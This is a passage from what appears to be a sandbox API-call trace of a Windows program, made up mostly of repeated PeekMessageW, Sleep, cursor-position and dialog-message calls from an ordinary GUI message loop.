wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] Sleep (dwMilliseconds=0x0) [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] Sleep (dwMilliseconds=0x0) [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.782] Sleep (dwMilliseconds=0x0) [0043.782] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] Sleep (dwMilliseconds=0x0) [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] Sleep (dwMilliseconds=0x0) [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.783] Sleep (dwMilliseconds=0x0) [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] Sleep (dwMilliseconds=0x0) [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] Sleep (dwMilliseconds=0x0) [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.784] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.785] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.786] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.787] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.797] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.797] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.797] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0043.797] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0043.797] GetForegroundWindow () returned 0xa004e [0043.798] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.798] GetCursorPos (in: lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00*(x=574, y=538)) returned 1 [0043.798] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00) returned 1 [0043.798] GetAsyncKeyState (vKey=1) returned 0 [0043.798] GetAsyncKeyState (vKey=2) returned 0 [0043.798] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.798] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.798] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.798] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.798] Sleep (dwMilliseconds=0xa) [0043.811] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.811] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.811] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.811] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.811] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.811] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.811] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.811] Sleep (dwMilliseconds=0xa) [0043.826] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.826] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.826] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.826] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.826] Sleep (dwMilliseconds=0xa) [0043.840] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.840] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.840] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0043.840] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0043.840] GetForegroundWindow () returned 0xa004e [0043.840] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.840] GetCursorPos (in: lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00*(x=574, y=538)) returned 1 [0043.840] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00) returned 1 [0043.840] GetAsyncKeyState (vKey=1) returned 0 [0043.841] GetAsyncKeyState (vKey=2) returned 0 [0043.841] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.841] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.841] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.841] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.841] Sleep (dwMilliseconds=0xa) [0043.855] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.855] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.855] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.855] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.855] Sleep (dwMilliseconds=0xa) [0043.893] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.901] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.901] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.901] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.901] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.901] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x210, wParam=0x201, lParam=0x1a400fd) returned 0x0 [0043.901] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.901] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x21, wParam=0xa004e, lParam=0x2010001) returned 0x1 [0043.901] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.901] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.901] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x20, wParam=0xc0182, lParam=0x2010001) returned 0x0 [0043.901] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.901] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.901] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.901] NtdllDialogWndProc_W (hDlg=0xa004e, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0043.902] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.902] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.902] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.902] GetWindowLongPtrW (hWnd=0xc0182, nIndex=-21) returned 0x3 [0043.902] IsWindow (hWnd=0xc0182) returned 1 [0043.902] IsWindowEnabled (hWnd=0xc0182) returned 1 [0043.902] GetCursorPos (in: lpPoint=0xa96acaf490 | out: lpPoint=0xa96acaf490*(x=574, y=538)) returned 